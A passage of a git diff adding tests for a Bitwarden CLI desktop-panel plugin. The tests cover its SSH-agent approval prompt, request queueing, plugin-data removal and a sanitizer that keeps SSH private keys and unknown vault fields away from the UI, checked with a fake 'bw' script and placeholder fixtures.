currentScreen/.test(panelSrc), + "no activeScreen; a stray currentScreen assignment can hide the prompt") +check("no screen visibility still binds to currentScreen directly", + panelSrc.split("\n").filter(l => l.trim().startsWith("visible:") && l.includes("root.currentScreen")).length === 0, + panelSrc.split("\n").filter(l => l.trim().startsWith("visible:") && l.includes("root.currentScreen")).join(" | ")) + +check("raising the prompt switches to the approval screen", + /function showSshApproval\(message\)[\s\S]{0,1200}?currentScreen = "sshApproval"/.test(panelSrc), + "the prompt never opens the approval screen") +check("a request that cannot prompt is denied rather than left hanging", + /message\.type === "approval_required"[\s\S]{0,400}?sshAgentMayPrompt\(\)[\s\S]{0,200}?sshAgentDenyLine/.test(panelSrc), + "a suppressed request is not answered") +// A prompt that opened the panel on the user's behalf should hand the desktop +// back when it is answered -- approved or denied alike. A panel the user had +// already opened is theirs, so answering returns them to the screen they were +// on rather than closing it under them. +check("answering a prompt that opened the panel closes it again", + /function dismissSshApproval\(\)[\s\S]{0,900}?openedForThis && root\.opened\) root\.close\(\)/.test(panelSrc), + "the panel stays open after an answer it opened itself for") +check("whether the panel was already open is captured before opening it", + /function showSshApproval\(message\)[\s\S]{0,900}?sshPromptOpenedPanel = !root\.opened/.test(panelSrc), + "nothing records whether the request opened the panel") +check("a panel the user already had open is restored, not closed", + /function dismissSshApproval\(\)[\s\S]{0,900}?screenBeforeSshApproval/.test(panelSrc), + "answering does not restore the previous screen") + +check("a withdrawn request takes its prompt down", + /message\.type === "request_cancelled"[\s\S]{0,900}?dismissSshApproval\(\)/.test(panelSrc), + "request_cancelled is ignored") +// The approval decision depends on the key identity and the requesting +// program, both known before the vault read finishes. Waiting for the read +// and only then asking is delay with nothing behind it. +check("unlocking promotes the held request straight to an approval", + /function promoteUnlockToApproval\(\)[\s\S]{0,600}?showSshApproval\(raw\)/.test(panelSrc), + "unlocking never promotes the held request") +check("the promotion happens as soon as the vault unlocks", + /onStatusChanged:[\s\S]{0,200}?promoteUnlockToApproval\(\)/.test(panelSrc), + "nothing promotes on unlock") +// The panel root reaches the screens as `root` and the extracted files as +// `panel`, so the object is matched either way -- a check pinned to one of +// them starts passing or failing on which file the markup sits in. +check("the approval prompt says keys are still loading", + /visible: (?:root|panel)\.sshAgentLoadActive[\s\S]{0,200}?sshAgentLoadingNote\(\)/.test(panelSrc), + "the prompt does not say the keys are still on their way") + +check("the held request stays on screen while keys load", + /sshAgentLoadingNote\(\)/.test(panelSrc), "nothing tells the user keys are loading") +check("the loading state is driven by the load actually being in flight", + /sshUnlockRequest[\s\S]{0,600}?sshAgentLoadActive|sshAgentLoadActive[\s\S]{0,600}?sshUnlockRequest/.test(panelSrc), + "the loading state is not tied to a real load") + +check("the setting reaches the companion on handshake and on change", + /onSshAgentUnlockOnDemandChanged: sendSshAgentOptions\(\)/.test(panelSrc) + && /if \(sshAgentGateOpen\) sendSshAgentOptions\(\)/.test(panelSrc), + "unlock-on-demand never reaches the companion") +check("an identity listing is not promoted into an approval", + /reason === "list-identities"/.test(panelSrc), + "a listing would be turned into a signature approval") + +check("an unlock request is shown with its context", + /message\.type === "unlock_required"/.test(panelSrc), "unlock_required is ignored") +check("grants are tracked from the companion", + /message\.type === "grants_changed"/.test(panelSrc), "grants_changed is ignored") + +check("denying is wired to the deny line", + /sshAgentDenyLine\(/.test(panelSrc), "nothing sends deny") +check("approving once is wired", + /sshAgentApproveLine\(/.test(panelSrc), "nothing sends approve") +check("grants can be revoked individually and together", + /sshAgentRevokeGrantLine\(/.test(panelSrc) && /sshAgentRevokeGrantsLine\(/.test(panelSrc), + "grant revocation is not wired") + +check("a locked screen suppresses the prompt", + /sshAgentShouldPrompt\(/.test(panelSrc), "the screen-lock rule is not applied") +check("the cooldown is surfaced in the panel rather than failing silently", + /sshAgentCooldownStatus\(/.test(panelSrc), "the cooldown is never shown to the user") +check("entering the cooldown is announced once, not on every refusal", + /sshCooldownAnnounced/.test(panelSrc), "nothing announces the cooldown") + +check("a request the cooldown refuses does not feed the cooldown", + /!sshAgentMayPrompt\(\)\)\s*\{\s*sshAgentWrite\(Model\.sshAgentDenyLine\(message\.requestId\)\)\s*return/.test(panelSrc), + "a suppressed request records an outcome, so a busy process can hold the cooldown open") +// SSH_AUTH_SOCK is fixed at login, so it says what routing *was*. A session +// that started routed keeps reporting "matches" after the file is deleted, +// which is precisely the window in which a warning would still be useful -- +// the notice therefore has to read the file, not the environment. +const routed = { state: "matches" } +eq("a deleted fragment is caught even while this session still points here", + Model.sshAgentRoutingNotice({ state: "absent" }, routed).urgent, true) +check("and it says the next login is what breaks", + /next login/.test(Model.sshAgentRoutingNotice({ state: "absent" }, routed).text), + Model.sshAgentRoutingNotice({ state: "absent" }, routed).text) +eq("a foreign file is called out too", + Model.sshAgentRoutingNotice({ state: "foreign" }, routed).urgent, true) +eq("a managed fragment in a routed session says nothing", + Model.sshAgentRoutingNotice({ state: "managed" }, routed).text, "") +check("a managed fragment in an unrouted session explains the wait", + /next login/.test(Model.sshAgentRoutingNotice({ state: "managed" }, { state: "elsewhere" }).text), + "a freshly written fragment does not explain why nothing changed yet") +eq("and that is information, not a fault", + Model.sshAgentRoutingNotice({ state: "managed" }, { state: "elsewhere" }).urgent, false) +for (const quiet of ["unknown", "no-home"]) { + eq(`a ${quiet} fragment leaves the routing section to explain itself`, + Model.sshAgentRoutingNotice({ state: quiet }, routed).text, "") +} +eq("a missing record says nothing rather than throwing", + Model.sshAgentRoutingNotice(null, null).text, "") + +check("the routing notice precedes the routing section", + /sshRoutingNotice\.text[\s\S]{0,500}?text: "CLIENT ROUTING"/.test(panelSrc), + "the routing notice does not precede the routing section") +check("re-enabling the agent restores the routing file it removed on disable", + /uwsmRestorePending = true[\s\S]{0,1200}?function applyUwsmRestore\(\)[\s\S]{0,600}?beginUwsmSetup\(\)/.test(panelSrc), + "disabling removes the routing file and enabling never puts it back") +check("but never over a file it did not write, or another session's agent", + /uwsmFragment\.state !== "absent" \|\| sshRouting\.state === "elsewhere"[\s\S]{0,40}?return/.test(panelSrc), + "the restore overrules a foreign routing file or an existing agent") +check("and routing is reachable before the approvals list", + panelSrc.indexOf('text: "CLIENT ROUTING"') < panelSrc.indexOf('text: "ACTIVE APPROVALS"'), + "approvals still push routing down the screen") + +// `omarchy plugin remove` has no uninstall hook, so the last moment this code +// can run is while the plugin is still installed. What it misses becomes a +// command the user has to type from the README. +const wipe = Model.pluginDataRemoveCommand().join(" ") +for (const [what, needle] of [ + ["the keyring entries", "secret-tool clear service qs-bitwarden-cli"], + ["the learned suggestions", "XDG_STATE_HOME"], + ["the exported public keys", "XDG_DATA_HOME"] +]) check(`removal clears ${what}`, wipe.indexOf(needle) >= 0, wipe) +check("and never logs the vault out on its own", + wipe.indexOf("bw logout") < 0 && wipe.indexOf("bw ") < 0, wipe) +check("nor touches the shell's own settings file", + wipe.indexOf("shell.json") < 0, wipe) + +const wiped = Model.parsePluginDataRemoval(0, "removed keyring state data") +eq("a full removal reports success", wiped.ok, true) +check("and names what went", /keyring|suggestions|public keys/.test(wiped.message), wiped.message) +check("and says the vault survived it", /vault/i.test(wiped.message), wiped.message) +eq("nothing to remove is still a success", + Model.parsePluginDataRemoval(0, "removed").ok, true) +check("and says so plainly", + /nothing/i.test(Model.parsePluginDataRemoval(0, "removed").message), + Model.parsePluginDataRemoval(0, "removed").message) +eq("a missing HOME is a failure, not a silent no-op", + Model.parsePluginDataRemoval(3, "").ok, false) +eq("and so is any other non-zero exit", Model.parsePluginDataRemoval(1, "").ok, false) + +check("removing plugin data is confirmed before it happens", + /pluginDataConfirmPending = true[\s\S]{0,200}?return/.test(panelSrc), + "the first click wipes stored data with no confirmation") +check("and a cleared keyring is not still believed to hold a password", + /parsePluginDataRemoval[\s\S]{0,400}?fingerprintStored = false/.test(panelSrc), + "the panel still thinks a deleted master password is stored") + +// A pid is noise on a prompt: it is gone by the time anyone could look it up, +// and it is deliberately not part of what a grant matches on -- so showing it +// implies a scope the approval does not have. +for (const [what, src] of [["the approval prompt", approvalSrc], ["the settings screen", settingsSrc]]) + check(`${what} does not show a pid`, !/\bpid\b/.test(src), `${what} still renders a pid`) +check("the unlock prompt does not either", !/sshUnlockRequest\.pid/.test(panelSrc), + "the unlock prompt still renders a pid") + +check("a development helper is called out wherever the user is", + /sshAgentHelper\.source === "development"[\s\S]{0,900}?sshAgentDevelopmentHelperWarning\(/.test(panelSrc), + "nothing warns that an unverified helper is serving keys") +check("the diagnostics say which helper is running and whether it was verified", + /helperSource: root\.sshAgentHelper\.source[\s\S]{0,200}?helperChecksum: root\.sshAgentHelper\.checksum/.test(panelSrc), + "sshAgentStatus cannot tell a shipped helper from a local build") +check("and what the panel believes about client routing", + /routingFragment: root\.uwsmFragment\.state[\s\S]{0,200}?routingNotice: root\.sshRoutingNotice\.text !== ""/.test(panelSrc), + "routing state cannot be read without squinting at the panel") +check("and why inspection rejected one, which errorCode never carries", + /helperState: root\.sshAgentHelper\.state/.test(panelSrc), + "sshAgentStatus reports an error state without naming it") +check("a running cooldown can be ended from the panel", + /function resumeSshSigning\(\)[\s\S]{0,300}?sshAgentCooldownAfter\(root\.sshCooldown, "resumed"/.test(panelSrc), + "nothing ends the cooldown early, so it cannot be escaped") +check("and the control that does it sits on the banner explaining the outage", + /sshCooldownStatus\.active[\s\S]{0,1600}?resumeSshSigning\(\)/.test(panelSrc), + "the resume control is not on the cooldown banner") +check("repeated denials enter the cooldown", + /sshAgentCooldownAfter\(/.test(panelSrc) && /sshAgentCooldownActive\(/.test(panelSrc), + "the cooldown is not applied") +check("escape denies rather than silently dismissing", + /sshApproval[\s\S]{0,900}?denySshRequest\(/.test(panelSrc), "escape does not deny") +check("the key name is rendered literally by a PlainText control", + /Text\s*\{[\s\S]{0,180}?textFormat:\s*Text\.PlainText[\s\S]{0,180}?(?:root|panel)\.sshPrompt\.keyName(?![A-Za-z0-9_])/ + .test(panelSrc), + "the key name is not pinned to plain text") + +// ------------------------------------------------------------------------- +// Opt-in centered approval surface +// ------------------------------------------------------------------------- + +check("the panel reads the centered popup setting", + /readonly property bool sshAgentApprovalPopup:[^\n]*boolSetting\("sshAgentApprovalPopup"/.test(panelSrc), + "sshAgentApprovalPopup never reaches Panel.qml") +check("the popup is an overlay layer surface centered independently of the bar", + /PanelWindow\s*\{/.test(popupSrc) + && /anchors\s*\{\s*top:\s*true\s*bottom:\s*true\s*left:\s*true\s*right:\s*true/.test(popupSrc) + && /WlrLayer\.Overlay/.test(popupSrc) + && /ExclusionMode\.Ignore/.test(popupSrc) + && /namespace:\s*"qs-bitwarden-ssh-approval"/.test(popupSrc), + "the popup is not a full-screen, non-exclusive overlay layer surface") +check("the popup follows the panel's monitor", + /screen:[^\n]*anchorItem\.QsWindow\.window\.screen/.test(popupSrc), + "the popup has no screen affinity") +check("the popup exists only for opted-in pending SSH work", + /sshAgentApprovalPopup\s*&&\s*\(panel\.sshPrompt !== null \|\| panel\.sshUnlockRequest !== null\)/.test(popupSrc), + "the popup is not gated by both the setting and a pending request") +check("popup mode leaves the anchored panel closed for approvals", + /function showSshApproval\(message\)[\s\S]{0,900}?if \(root\.sshAgentApprovalPopup\)[\s\S]{0,240}?return/.test(panelSrc), + "showSshApproval always opens the panel") +check("popup mode leaves the anchored panel closed for unlock requests", + /message\.type === "unlock_required"[\s\S]{0,1400}?if \(root\.sshAgentApprovalPopup\)[\s\S]{0,240}?return/.test(panelSrc), + "unlock_required always opens the panel") +check("changing presentation mode cannot strand a live request off-screen", + /onSshAgentApprovalPopupChanged:[\s\S]{0,900}?sshPrompt \|\| root\.sshUnlockRequest[\s\S]{0,900}?root\.open\(\)/.test(panelSrc), + "turning popup mode off during a request leaves no visible approval surface") +check("the popup moves from unlock to approval without changing windows", + /SshUnlockScreen\s*\{/.test(popupSrc) && /SshApprovalScreen\s*\{/.test(popupSrc), + "unlock and approval are not hosted by one popup") +check("the popup unlock screen names the prerequisite", + /vault needs to be unlocked first/i.test(unlockSrc), + "the popup does not explain why it appeared") +check("the popup can submit every configured unlock method", + /unlockVault\(/.test(unlockSrc) + && /submitPinUnlock\(/.test(unlockSrc) + && /startFingerprintUnlock\(/.test(unlockSrc), + "password, PIN, or fingerprint is missing from the popup") +check("background click and Escape explicitly deny the pending request", + /MouseArea[\s\S]{0,500}?onClicked:\s*popup\.panel\.denySshRequest\(\)/.test(popupSrc) + && /Qt\.Key_Escape[\s\S]{0,160}?denySshRequest\(\)/.test(popupSrc), + "the modal can disappear without answering the helper") +check("approval defaults keyboard focus to Deny", + /id:\s*denyButton/.test(approvalSrc) + && /function focusDefault\(\)[\s\S]{0,120}?denyButton\.forceActiveFocus\(\)/.test(approvalSrc), + "an approval can receive accidental affirmative focus") +check("hidden panel fields cannot steal focus from the popup", + /function focusAppropriateField\(\)[\s\S]{0,120}?if \(sshApprovalPopupOpen\) return/.test(panelSrc), + "status and unlock handlers can focus an input in the closed panel") +check("approval actions opt into keyboard focus", + (approvalSrc.match(/focusable:\s*true/g) || []).length >= 2, + "approval buttons cannot be reached by Tab") +check("popup unlock is accepted while the anchored panel is closed", + /readonly property bool sshAuthSurfaceActive:\s*opened \|\| sshApprovalPopupOpen/.test(panelSrc) + && /function prepareUnlock\(\)[\s\S]{0,180}?!sshAuthSurfaceActive/.test(panelSrc), + "unlock handlers still require root.opened") +check("closing the transient popup clears authentication state", + /function clearSshPopupUnlockState\(\)[\s\S]{0,700}?masterPassword = ""/.test(panelSrc) + && /function dismissSshApproval\(\)[\s\S]{0,900}?clearSshPopupUnlockState\(\)/.test(panelSrc), + "password/PIN state can survive a dismissed popup") + +// ------------------------------------------------------------------------- +// Concurrent request queueing +// ------------------------------------------------------------------------- + +let q = [] +q = Model.sshAgentEnqueuePrompt(q, { requestId: 1, keyName: "key1" }, 4) +eq("enqueues first item", q.length, 1) +q = Model.sshAgentEnqueuePrompt(q, { requestId: 2, keyName: "key2" }, 4) +eq("enqueues second item", q.length, 2) +q = Model.sshAgentEnqueuePrompt(q, { requestId: 2, keyName: "key2" }, 4) +eq("ignores duplicate requestId", q.length, 2) +q = Model.sshAgentEnqueuePrompt(q, { requestId: 3 }, 4) +q = Model.sshAgentEnqueuePrompt(q, { requestId: 4 }, 4) +q = Model.sshAgentEnqueuePrompt(q, { requestId: 5 }, 4) +eq("respects queue capacity cap", q.length, 4) + +eq("pending count includes active and queued", Model.sshAgentPendingCount({ requestId: 0 }, q), 5) +eq("pending count with no active", Model.sshAgentPendingCount(null, q), 4) +eq("pending count with no queue", Model.sshAgentPendingCount({ requestId: 0 }, []), 1) + +let deq = Model.sshAgentDequeuePrompt(q) +eq("dequeues first item", deq.next.requestId, 1) +eq("remaining queue length is decremented", deq.remaining.length, 3) + +let emptyDeq = Model.sshAgentDequeuePrompt([]) +eq("empty dequeue next is null", emptyDeq.next, null) +eq("empty dequeue remaining is empty", emptyDeq.remaining.length, 0) + +let removed = Model.sshAgentRemovePrompt(q, 3) +eq("removes targeted requestId", removed.length, 3) +eq("requestId 3 is absent", removed.some(x => x.requestId === 3), false) + +check("the panel declares an SSH prompt queue", + /property var sshPromptQueue:\s*\[\]/.test(panelSrc), + "sshPromptQueue is missing from Panel.qml") +check("the panel declares total pending counts", + /readonly property int sshPendingCount:/.test(panelSrc) + && /readonly property int sshUnlockPendingCount:/.test(panelSrc), + "sshPendingCount or sshUnlockPendingCount is missing") +check("multiple concurrent approval requests are queued", + /root\.sshPromptQueue = Model\.sshAgentEnqueuePrompt\(root\.sshPromptQueue, message, 4\)/.test(panelSrc), + "concurrent approvals are not queued") +check("multiple concurrent unlock requests are queued", + /root\.sshUnlockQueue = Model\.sshAgentEnqueuePrompt\(root\.sshUnlockQueue, message, 4\)/.test(panelSrc), + "concurrent unlocks are not queued") +check("advancing an approval dequeues the next prompt", + /function advanceSshPrompt\(\)[\s\S]{0,400}?Model\.sshAgentDequeuePrompt\(root\.sshPromptQueue\)/.test(panelSrc), + "advanceSshPrompt does not dequeue from sshPromptQueue") +check("advancing an unlock dequeues the next unlock request", + /function advanceSshUnlock\(\)[\s\S]{0,400}?Model\.sshAgentDequeuePrompt\(root\.sshUnlockQueue\)/.test(panelSrc), + "advanceSshUnlock does not dequeue from sshUnlockQueue") +check("deny all rejects active and queued requests", + /function denyAllSshRequests\(\)[\s\S]{0,900}?sshPromptQueue[\s\S]{0,600}?sshUnlockQueue[\s\S]{0,600}?dismissSshApproval\(\)/.test(panelSrc), + "denyAllSshRequests is missing or does not clear queues") +check("approval screen displays 1 of N when multiple requests are queued", + /text:\s*"1 of "\s*\+\s*panel\.sshPendingCount/.test(approvalSrc), + "approval screen does not display queue counter") +check("approval screen provides a Deny all button when multiple requests exist", + /text:\s*"Deny all \("\s*\+\s*panel\.sshPendingCount\s*\+\s*"\)"/.test(approvalSrc), + "approval screen is missing Deny all button") +check("popup accepts Shift+Escape to deny all requests", + /event\.modifiers\s*&\s*Qt\.ShiftModifier[\s\S]{0,120}?popup\.panel\.denyAllSshRequests\(\)/.test(popupSrc), + "popup does not handle Shift+Escape for deny all") + +if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) +} +console.log(`ssh-agent-ui: ${pass} passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-items.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-items.test.js new file mode 100644 index 0000000..7f3ca92 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-items.test.js @@ -0,0 +1,337 @@ +#!/usr/bin/env node +// `bw list items` returns every decrypted cipher field. Before QML sees that +// stream, supported ordinary items must be allowlisted and SSH keys reduced to +// public metadata. These tests execute the real shell/jq pipeline with a fake +// `bw`, so they cover the process boundary rather than a second JS sanitizer. +// +// node tests/ssh-items.test.js + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { spawnSync } = require("child_process") +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.sanitizedListCommand = sanitizedListCommand +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +const PRIVATE_MARKER = "SSH_PRIVATE_MARKER_must_not_reach_QML" +const UNKNOWN_MARKER = "UNKNOWN_TYPE_MARKER_must_not_reach_QML" +const STDERR_MARKER = "BW_STDERR_MARKER_must_not_reach_QML" +const FILTER_STDERR_MARKER = "JQ_STDERR_MARKER_must_not_reach_QML" +const MAX_ITEMS_BYTES = 16 * 1024 * 1024 +const MAX_STDERR_BYTES = 8192 +const SAFE_DIAGNOSTIC = "Could not safely read vault items.\n" + +const fixture = [ + { object: "item", id: "login-1", type: 1, name: "Login", favorite: true, + login: { username: "me", password: "ordinary-login-secret" } }, + { object: "item", id: "note-1", type: 2, name: "Note", secureNote: { type: 0 } }, + { object: "item", id: "card-1", type: 3, name: "Card", card: { number: "4111111111111111" } }, + { object: "item", id: "identity-1", type: 4, name: "Identity", identity: { email: "me@example.com" } }, + { object: "item", id: "ssh-1", type: 5, name: "Work SSH", organizationId: "org-1", + folderId: "folder-1", favorite: false, reprompt: 1, notes: "not public", + sshKey: { privateKey: PRIVATE_MARKER, publicKey: "ssh-ed25519 AAAATEST", + fingerprint: "SHA256:public-fingerprint", extra: "not public either" } }, + { object: "item", id: "bank-1", type: 6, name: "Bank", + bankAccount: { accountNumber: UNKNOWN_MARKER } }, + { object: "item", id: "licence-1", type: 7, name: "Licence", notes: UNKNOWN_MARKER }, + { object: "item", id: "passport-1", type: 8, name: "Passport", fields: [{ value: UNKNOWN_MARKER }] } +] + +const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-ssh-items-")) +const fixturePath = path.join(tempDir, "items.json") +const bwPath = path.join(tempDir, "bw") +fs.writeFileSync(bwPath, [ + "#!/bin/bash", + "if [ \"$1\" = \"--version\" ] || [ \"$1\" = \"-v\" ]; then", + " printf '%s\\n' \"${QSBW_BW_VERSION:-2025.1.2}\"", + " exit 0", + "fi", + "if [ -n \"${QSBW_BW_INVOCATIONS:-}\" ]; then printf x >> \"$QSBW_BW_INVOCATIONS\"; fi", + "if [ -n \"${QSBW_BW_STDERR:-}\" ]; then printf '%s' \"$QSBW_BW_STDERR\" >&2; fi", + "cat -- \"$QSBW_FIXTURE\"", + "exit \"${QSBW_BW_EXIT:-0}\"", + "" +].join("\n"), { mode: 0o755 }) + +const command = Model.sanitizedListCommand() +const commandText = command.join(" ") +const testEnv = Object.assign({}, process.env, { + PATH: tempDir + path.delimiter + process.env.PATH, + QSBW_FIXTURE: fixturePath +}) + +function categoryIds() { + const block = panelSrc.match(/readonly property var categories: \[([\s\S]*?)\n \]/) + return block ? Array.from(block[1].matchAll(/\{\s*id:\s*"([^"]+)"/g), m => m[1]) : [] +} + +function visibleFilterRows() { + const match = panelSrc.match(/readonly property int filterVisibleRows:\s*(\d+)/) + return match ? Number(match[1]) : 0 +} + +function typeDrawerShowsAllRows() { + return /readonly property int currentFilterVisibleRows:[\s\S]*openFilterGroup === "types"[\s\S]*currentFilterOptions\.length/.test(panelSrc) + && /Math\.min\(currentFilterVisibleRows,\s*currentFilterOptions\.length\)/.test(panelSrc) +} + +function runFixture(contents, envOverrides) { + fs.writeFileSync(fixturePath, contents) + return spawnSync(command[0], command.slice(1), { + env: Object.assign({}, testEnv, envOverrides || {}), + encoding: "utf8", + maxBuffer: 20 * 1024 * 1024 + }) +} + +try { + const ids = categoryIds() + const sshIndex = ids.indexOf("sshKey") + const visibleRows = visibleFilterRows() + check("type filters are ordered by Bitwarden type id with synthetic filters at the edges", + ids.join(",") === "all,login,secureNote,card,identity,sshKey,favorite", + JSON.stringify({ categoryIds: ids })) + check("the SSH type filter is visible without scrolling", + sshIndex >= 0 && (sshIndex < visibleRows || typeDrawerShowsAllRows()), + JSON.stringify({ visibleRows, typeDrawerShowsAllRows: typeDrawerShowsAllRows(), categoryIds: ids })) + check("the SSH type filter is offered only when the CLI supports SSH keys", + /readonly property bool sshUiAvailable: Model\.sshUiAvailable\(dependencies, depsChecked\)/.test(panelSrc) + && /readonly property var visibleCategories[\s\S]{0,200}category\.id !== "sshKey"/.test(panelSrc) + && /group === "types"[\s\S]{0,200}visibleCategories\.length/.test(panelSrc) + && !/group === "types"[\s\S]{0,200}categories\[i\]/.test(panelSrc), + "the types filter drawer does not follow the CLI-gated category list") + check("an unconfirmed SSH capability reads differently from an empty vault", + /function emptyListMessage\(\)[\s\S]{0,400}sshCapability\.state === "unconfirmed"[\s\S]{0,120}sshCapability\.message/.test(panelSrc) + && /text: root\.isLoading && root\.items\.length === 0[\s\S]{0,120}root\.emptyListMessage\(\)/.test(panelSrc), + "the empty list cannot distinguish an unconfirmed server from an empty vault") + + check("search help says SSH public fields are searchable", + /placeholderText:\s*"[^"]*(public keys|fingerprints)[^"]*"/i.test(panelSrc), + "search placeholder does not mention public keys or fingerprints") + check("the detail delete shortcut is guarded for read-only SSH items", + /lower === "x"[\s\S]{0,120}detailItem[\s\S]{0,120}typeCode !== 5[\s\S]{0,120}showDeleteConfirm = true/.test(panelSrc), + "detail shortcut x can open delete confirmation for SSH") + + check("the sanitizer is a bounded bash pipeline", + command[0] === "bash" && command[1] === "-c" + && commandText.includes("node -e") + && commandText.includes("jq -c") + && commandText.includes("BW_NOINTERACTION=true") + && (commandText.match(/head -c 16777217/g) || []).length === 2, + commandText) + check("the static command carries no fixture secret", + !commandText.includes(PRIVATE_MARKER) && !commandText.includes(UNKNOWN_MARKER), commandText) + + const valid = runFixture(JSON.stringify(fixture)) + check("a valid vault read succeeds", valid.status === 0, + `exit=${valid.status} stderr=${JSON.stringify(valid.stderr)}`) + + let parsed = null + try { parsed = JSON.parse(valid.stdout) } catch (e) {} + check("the sanitizer emits one items/sshKeys document", + parsed && Array.isArray(parsed.items) && Array.isArray(parsed.sshKeys), valid.stdout.slice(0, 500)) + check("types 1-4 remain intact", + parsed && JSON.stringify(parsed.items) === JSON.stringify(fixture.slice(0, 4)), + parsed ? JSON.stringify(parsed.items) : "no parsed output") + check("only type 5 receives a public projection", + parsed && JSON.stringify(parsed.sshKeys) === JSON.stringify([{ + id: "ssh-1", name: "Work SSH", type: 5, organizationId: "org-1", + folderId: "folder-1", favorite: false, reprompt: 1, + publicKey: "ssh-ed25519 AAAATEST", fingerprint: "SHA256:public-fingerprint" + }]), parsed ? JSON.stringify(parsed.sshKeys) : "no parsed output") + check("seeing a type-5 item confirms SSH capability in the sanitized envelope", + parsed && parsed.sshCapability === "confirmed", + parsed ? JSON.stringify(parsed) : "no parsed output") + const keyFingerprint = runFixture(JSON.stringify([{ + object: "item", id: "ssh-keyfp", type: "5", name: "CLI SSH", + publicKey: "ssh-rsa AAAATEST2", keyFingerprint: "SHA256:key-fingerprint", + sshKey: { privateKey: PRIVATE_MARKER } + }])) + let keyFingerprintParsed = null + try { keyFingerprintParsed = JSON.parse(keyFingerprint.stdout) } catch (e) {} + check("the sanitizer accepts the installed CLI keyFingerprint schema", + keyFingerprint.status === 0 + && keyFingerprintParsed + && JSON.stringify(keyFingerprintParsed.sshKeys) === JSON.stringify([{ + id: "ssh-keyfp", name: "CLI SSH", type: 5, organizationId: null, + folderId: null, favorite: false, reprompt: 0, + publicKey: "ssh-rsa AAAATEST2", fingerprint: "SHA256:key-fingerprint" + }]) + && !keyFingerprint.stdout.includes(PRIVATE_MARKER), + `exit=${keyFingerprint.status} stdout=${JSON.stringify(keyFingerprint.stdout)}`) + const noType5 = runFixture(JSON.stringify(fixture.slice(0, 4))) + let noType5Parsed = null + try { noType5Parsed = JSON.parse(noType5.stdout) } catch (e) {} + check("a read with no type-5 items keeps ordinary items but marks SSH capability unconfirmed", + noType5.status === 0 + && noType5Parsed + && JSON.stringify(noType5Parsed.items) === JSON.stringify(fixture.slice(0, 4)) + && Array.isArray(noType5Parsed.sshKeys) + && noType5Parsed.sshKeys.length === 0 + && noType5Parsed.sshCapability === "unconfirmed", + `exit=${noType5.status} stdout=${JSON.stringify(noType5.stdout)}`) + check("zero type-5 keys stay unconfirmed even on official Bitwarden cloud", + noType5.status === 0 + && noType5Parsed + && noType5Parsed.sshCapability === "unconfirmed", + `exit=${noType5.status} stdout=${JSON.stringify(noType5.stdout)}`) + check("private and unknown-type markers never reach stdout", + !valid.stdout.includes(PRIVATE_MARKER) && !valid.stdout.includes(UNKNOWN_MARKER), valid.stdout) + + const crossTyped = runFixture(JSON.stringify([{ + object: "item", id: "login-with-ssh", type: 1, name: "Forged", + login: { username: "still-intact", password: "ordinary-login-secret" }, + sshKey: { privateKey: PRIVATE_MARKER, publicKey: "not-an-SSH-item" } + }])) + check("a cross-typed ordinary item fails instead of being mutated or leaking SSH data", + crossTyped.status === 1 + && crossTyped.stdout === "" + && crossTyped.stderr === SAFE_DIAGNOSTIC + && !crossTyped.stderr.includes(PRIVATE_MARKER), + `exit=${crossTyped.status} stdout=${JSON.stringify(crossTyped.stdout)} stderr=${JSON.stringify(crossTyped.stderr)}`) + + const unboundedReprompt = runFixture( + '[{"type":5,"id":"ssh-large-reprompt","reprompt":1e9999,"sshKey":{}}]') + let unboundedRepromptParsed = null + try { unboundedRepromptParsed = JSON.parse(unboundedReprompt.stdout) } catch (e) {} + check("SSH reprompt is normalized to the finite Bitwarden enum", + unboundedReprompt.status === 0 + && unboundedRepromptParsed + && unboundedRepromptParsed.sshKeys[0].reprompt === 0 + && Number.isFinite(unboundedRepromptParsed.sshKeys[0].reprompt), + `exit=${unboundedReprompt.status} stdout=${JSON.stringify(unboundedReprompt.stdout)}`) + + for (const [label, contents] of [ + ["malformed JSON", "[{not-json"], + ["a non-array root", JSON.stringify({ items: fixture })], + ["multiple JSON documents", "[]\n[]\n"] + ]) { + const result = runFixture(contents) + check(`${label} fails closed`, result.status !== 0 && result.stdout === "", + `exit=${result.status} stdout=${JSON.stringify(result.stdout)} stderr=${JSON.stringify(result.stderr)}`) + } + + const malformedSecret = runFixture( + `[{"type":5,"sshKey":{"privateKey":"${PRIVATE_MARKER}"}`) + check("parse diagnostics do not echo malformed private material", + malformedSecret.status !== 0 + && !malformedSecret.stdout.includes(PRIVATE_MARKER) + && !malformedSecret.stderr.includes(PRIVATE_MARKER), + `stdout=${JSON.stringify(malformedSecret.stdout)} stderr=${JSON.stringify(malformedSecret.stderr)}`) + + for (const [label, contents] of [ + ["a leading-zero number", '[{"type":1,"value":01}]'], + ["a NaN value", '[{"type":1,"value":NaN}]'], + ["an Infinity value", '[{"type":1,"value":Infinity}]'] + ]) { + const result = runFixture(contents) + check(`${label} is rejected as non-JSON`, result.status !== 0 && result.stdout === "", + `exit=${result.status} stdout=${JSON.stringify(result.stdout)} stderr=${JSON.stringify(result.stderr)}`) + } + + const failedProducer = runFixture("[]", { + QSBW_BW_EXIT: "9", + QSBW_BW_STDERR: STDERR_MARKER.repeat( + Math.ceil((MAX_STDERR_BYTES + 100) / Buffer.byteLength(STDERR_MARKER))) + }) + const failedProducerStdout = failedProducer.stdout || "" + const failedProducerStderr = failedProducer.stderr || "" + check("a failed bw read exposes only a bounded static diagnostic", + failedProducer.status === 1 + && failedProducerStdout === "" + && !failedProducerStderr.includes(STDERR_MARKER) + && failedProducerStderr === SAFE_DIAGNOSTIC + && Buffer.byteLength(failedProducerStderr) <= MAX_STDERR_BYTES, + `exit=${failedProducer.status} error=${failedProducer.error || "none"} stdout=${JSON.stringify(failedProducerStdout)} stderr=${JSON.stringify(failedProducerStderr.slice(0, 200))}`) + const malformedOlderCli = runFixture("[]", { + 